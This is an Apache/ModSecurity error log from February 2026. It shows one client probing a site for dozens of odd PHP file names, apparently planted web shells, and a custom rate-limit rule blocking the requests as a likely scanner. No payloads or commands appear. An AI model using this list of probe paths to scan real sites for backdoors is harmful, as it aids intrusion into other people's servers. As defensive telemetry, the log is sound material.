[Tue Feb 24 22:27:03.831886 2026] [:error] [pid 40456:tid 40494] [client 68.221.137.35:2911] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rak.php"] [unique_id "aZ21N-P0ojUS1IXv0AXKvwAAAYc"]
[Tue Feb 24 22:27:04.967611 2026] [:error] [pid 40393:tid 40410] [client 68.221.137.35:1337] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rak.php"] [unique_id "aZ21OLDZWhNc1DniCm3WdAAAAEs"]
[Tue Feb 24 22:27:06.636732 2026] [:error] [pid 40393:tid 40413] [client 68.221.137.35:3068] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rdfe.php"] [unique_id "aZ21OrDZWhNc1DniCm3WdwAAAE4"]
[Tue Feb 24 22:27:07.536188 2026] [:error] [pid 40455:tid 40461] [client 68.221.137.35:10413] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rdfe.php"] [unique_id "aZ21O1w13ca9RV2qrBmGegAAAUE"]
[Tue Feb 24 22:27:08.442793 2026] [:error] [pid 37784:tid 37789] [client 68.221.137.35:7780] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rdfe.php"] [unique_id "aZ21PBhsjFGJ0bR81bdvkwAAAoM"]
[Tue Feb 24 22:27:09.226665 2026] [:error] [pid 40455:tid 40465] [client 68.221.137.35:1563] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rdfe.php"] [unique_id "aZ21PVw13ca9RV2qrBmGewAAAUU"]
[Tue Feb 24 22:27:09.953477 2026] [:error] [pid 34018:tid 34062] [client 68.221.137.35:6738] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sad.php"] [unique_id "aZ21PRGkEvccktzDf_is-QAAANI"]
[Tue Feb 24 22:27:11.264442 2026] [:error] [pid 37715:tid 37738] [client 68.221.137.35:7795] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sad.php"] [unique_id "aZ21P0IBAxg--xL5ughaggAAAhU"]
[Tue Feb 24 22:27:12.816279 2026] [:error] [pid 40394:tid 40436] [client 68.221.137.35:3436] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sad.php"] [unique_id "aZ21QODlibHIQ-y0MaSBJgAAAIk"]
[Tue Feb 24 22:27:13.641593 2026] [:error] [pid 34018:tid 34056] [client 68.221.137.35:2635] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sad.php"] [unique_id "aZ21QRGkEvccktzDf_is-gAAAMw"]
[Tue Feb 24 22:27:14.463874 2026] [:error] [pid 40394:tid 40437] [client 68.221.137.35:3401] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shlo.php"] [unique_id "aZ21QuDlibHIQ-y0MaSBKAAAAIo"]
[Tue Feb 24 22:27:15.048259 2026] [:error] [pid 40393:tid 40399] [client 68.221.137.35:2924] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shlo.php"] [unique_id "aZ21Q7DZWhNc1DniCm3WfwAAAEA"]
[Tue Feb 24 22:27:16.124187 2026] [:error] [pid 40393:tid 40416] [client 68.221.137.35:3053] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shlo.php"] [unique_id "aZ21RLDZWhNc1DniCm3WgAAAAFE"]
[Tue Feb 24 22:27:17.634808 2026] [:error] [pid 40394:tid 40442] [client 68.221.137.35:5461] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shlo.php"] [unique_id "aZ21ReDlibHIQ-y0MaSBKgAAAI8"]
[Tue Feb 24 22:27:18.660975 2026] [:error] [pid 35061:tid 35077] [client 68.221.137.35:5035] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yzkvrell.php"] [unique_id "aZ21RiTtNYeQS_BngHwCCAAAAQo"]
[Tue Feb 24 22:27:19.879953 2026] [:error] [pid 35061:tid 35087] [client 68.221.137.35:5502] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yzkvrell.php"] [unique_id "aZ21RyTtNYeQS_BngHwCDAAAARQ"]
[Tue Feb 24 22:27:21.156557 2026] [:error] [pid 35061:tid 35079] [client 68.221.137.35:36020] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yzkvrell.php"] [unique_id "aZ21SSTtNYeQS_BngHwCHQAAAQw"]
[Tue Feb 24 22:27:22.091004 2026] [:error] [pid 34018:tid 34059] [client 68.221.137.35:35977] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yzkvrell.php"] [unique_id "aZ21ShGkEvccktzDf_is_QAAAM8"]
[Tue Feb 24 22:27:22.876364 2026] [:error] [pid 40394:tid 40442] [client 68.221.137.35:31805] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpxadmin.php"] [unique_id "aZ21SuDlibHIQ-y0MaSBPQAAAI8"]
[Tue Feb 24 22:27:24.207483 2026] [:error] [pid 40456:tid 40506] [client 68.221.137.35:7757] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpxadmin.php"] [unique_id "aZ21TOP0ojUS1IXv0AXKxwAAAZM"]
[Tue Feb 24 22:27:25.268245 2026] [:error] [pid 40456:tid 40509] [client 68.221.137.35:1689] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpxadmin.php"] [unique_id "aZ21TeP0ojUS1IXv0AXKyAAAAZY"]
[Tue Feb 24 22:27:26.216895 2026] [:error] [pid 40456:tid 40500] [client 68.221.137.35:1704] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpxadmin.php"] [unique_id "aZ21TuP0ojUS1IXv0AXKzAAAAY0"]
[Tue Feb 24 22:27:27.428229 2026] [:error] [pid 40394:tid 40430] [client 68.221.137.35:10395] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "aZ21T-DlibHIQ-y0MaSBQwAAAIM"]
[Tue Feb 24 22:27:28.213954 2026] [:error] [pid 37918:tid 37928] [client 68.221.137.35:7791] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "aZ21UDB7WIlOit9GZHhHrwAAA4Q"]
[Tue Feb 24 22:27:28.977642 2026] [:error] [pid 34018:tid 34052] [client 68.221.137.35:31780] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "aZ21UBGkEvccktzDf_itBgAAAMg"]
[Tue Feb 24 22:27:29.765535 2026] [:error] [pid 40393:tid 40420] [client 68.221.137.35:10372] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "aZ21UbDZWhNc1DniCm3WhQAAAFU"]
[Tue Feb 24 22:27:31.006698 2026] [:error] [pid 37715:tid 37723] [client 68.221.137.35:3064] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sder52u.php"] [unique_id "aZ21U0IBAxg--xL5ughahgAAAgY"]
[Tue Feb 24 22:27:31.744746 2026] [:error] [pid 40456:tid 40506] [client 68.221.137.35:3282] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sder52u.php"] [unique_id "aZ21U-P0ojUS1IXv0AXK7AAAAZM"]
[Tue Feb 24 22:27:33.060114 2026] [:error] [pid 35061:tid 35073] [client 68.221.137.35:35969] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sder52u.php"] [unique_id "aZ21VSTtNYeQS_BngHwCPgAAAQY"]
[Tue Feb 24 22:27:34.216776 2026] [:error] [pid 40456:tid 40500] [client 68.221.137.35:1729] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sder52u.php"] [unique_id "aZ21VuP0ojUS1IXv0AXK8AAAAY0"]
[Tue Feb 24 22:27:35.613519 2026] [:error] [pid 40456:tid 40511] [client 68.221.137.35:31749] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aZ21V-P0ojUS1IXv0AXK8gAAAZg"]
[Tue Feb 24 22:27:36.395564 2026] [:error] [pid 37884:tid 37900] [client 68.221.137.35:5453] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aZ21WP08KJo-7FmKlnBYBgAAA0w"]
[Tue Feb 24 22:27:37.350566 2026] [:error] [pid 37918:tid 37946] [client 68.221.137.35:15514] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aZ21WTB7WIlOit9GZHhHtgAAA5Y"]
[Tue Feb 24 22:27:38.242725 2026] [:error] [pid 37918:tid 37943] [client 68.221.137.35:12940] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aZ21WjB7WIlOit9GZHhHuAAAA5M"]
[Tue Feb 24 22:27:38.920173 2026] [:error] [pid 40393:tid 40412] [client 68.221.137.35:8957] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ava.php"] [unique_id "aZ21WrDZWhNc1DniCm3WigAAAE0"]
[Tue Feb 24 22:27:39.974328 2026] [:error] [pid 34018:tid 34051] [client 68.221.137.35:6722] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ava.php"] [unique_id "aZ21WxGkEvccktzDf_itEgAAAMc"]
[Tue Feb 24 22:27:40.910794 2026] [:error] [pid 37918:tid 37942] [client 68.221.137.35:35097] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ava.php"] [unique_id "aZ21XDB7WIlOit9GZHhHuQAAA5I"]
[Tue Feb 24 22:27:41.894954 2026] [:error] [pid 40456:tid 40505] [client 68.221.137.35:3200] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ava.php"] [unique_id "aZ21XeP0ojUS1IXv0AXK-AAAAZI"]
[Tue Feb 24 22:27:43.087283 2026] [:error] [pid 34018:tid 34061] [client 68.221.137.35:35380] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa8.php"] [unique_id "aZ21XxGkEvccktzDf_itFAAAANE"]
[Tue Feb 24 22:27:44.407440 2026] [:error] [pid 37918:tid 37932] [client 68.221.137.35:1279] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa8.php"] [unique_id "aZ21YDB7WIlOit9GZHhHugAAA4g"]
[Tue Feb 24 22:27:45.203794 2026] [:error] [pid 40455:tid 40471] [client 68.221.137.35:32520] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa8.php"] [unique_id "aZ21YVw13ca9RV2qrBmGmAAAAUs"]
[Tue Feb 24 22:27:46.292229 2026] [:error] [pid 40455:tid 40469] [client 68.221.137.35:13294] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa8.php"] [unique_id "aZ21Ylw13ca9RV2qrBmGmwAAAUk"]
[Tue Feb 24 22:27:47.398726 2026] [:error] [pid 40456:tid 40504] [client 68.221.137.35:5349] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bqcheck.php"] [unique_id "aZ21Y-P0ojUS1IXv0AXK_AAAAZE"]
[Tue Feb 24 22:27:47.980719 2026] [:error] [pid 40456:tid 40501] [client 68.221.137.35:1277] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bqcheck.php"] [unique_id "aZ21Y-P0ojUS1IXv0AXK_gAAAY4"]
[Tue Feb 24 22:27:48.604906 2026] [:error] [pid 40394:tid 40444] [client 68.221.137.35:13276] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bqcheck.php"] [unique_id "aZ21ZODlibHIQ-y0MaSBVAAAAJE"]
[Tue Feb 24 22:27:49.660760 2026] [:error] [pid 40394:tid 40432] [client 68.221.137.35:13261] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bqcheck.php"] [unique_id "aZ21ZeDlibHIQ-y0MaSBVQAAAIU"]
[Tue Feb 24 22:27:50.490187 2026] [:error] [pid 37784:tid 37801] [client 68.221.137.35:32534] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blurbs8.php"] [unique_id "aZ21ZhhsjFGJ0bR81bdvqAAAAo8"]
[Tue Feb 24 22:27:51.730200 2026] [:error] [pid 37884:tid 37906] [client 68.221.137.35:24011] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blurbs8.php"] [unique_id "aZ21Z_08KJo-7FmKlnBYGQAAA1I"]
[Tue Feb 24 22:27:52.374738 2026] [:error] [pid 35061:tid 35074] [client 68.221.137.35:28355] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blurbs8.php"] [unique_id "aZ21aCTtNYeQS_BngHwCQgAAAQc"]
[Tue Feb 24 22:27:52.900004 2026] [:error] [pid 40456:tid 40508] [client 68.221.137.35:3607] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blurbs8.php"] [unique_id "aZ21aOP0ojUS1IXv0AXLAgAAAZU"]
[Tue Feb 24 22:27:53.500816 2026] [:error] [pid 40456:tid 40496] [client 68.221.137.35:3249] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless3.php"] [unique_id "aZ21aeP0ojUS1IXv0AXLBAAAAYk"]
[Tue Feb 24 22:27:54.180124 2026] [:error] [pid 40456:tid 40507] [client 68.221.137.35:4950] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless3.php"] [unique_id "aZ21auP0ojUS1IXv0AXLBwAAAZQ"]
[Tue Feb 24 22:27:55.562892 2026] [:error] [pid 40456:tid 40505] [client 68.221.137.35:6738] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless3.php"] [unique_id "aZ21a-P0ojUS1IXv0AXLCAAAAZI"]
[Tue Feb 24 22:27:56.357060 2026] [:error] [pid 37715:tid 37741] [client 68.221.137.35:4727] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless3.php"] [unique_id "aZ21bEIBAxg--xL5ughaigAAAhg"]
[Tue Feb 24 22:27:57.206290 2026] [:error] [pid 40394:tid 40439] [client 68.221.137.35:32545] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless2.php"] [unique_id "aZ21beDlibHIQ-y0MaSBVwAAAIw"]
[Tue Feb 24 22:27:58.226789 2026] [proxy_fcgi:error] [pid 40456:tid 40494] [client 68.221.137.35:4718] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 22:27:58.468251 2026] [proxy_fcgi:error] [pid 40456:tid 40496] [client 68.221.137.35:4718] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 22:27:58.715768 2026] [proxy_fcgi:error] [pid 40456:tid 40497] [client 68.221.137.35:4718] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 22:27:58.960748 2026] [proxy_fcgi:error] [pid 40456:tid 40510] [client 68.221.137.35:4718] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 22:28:00.407884 2026] [proxy_fcgi:error] [pid 40456:tid 40494] [client 68.221.137.35:4718] AH01071: Got error 'Primary script unknown'
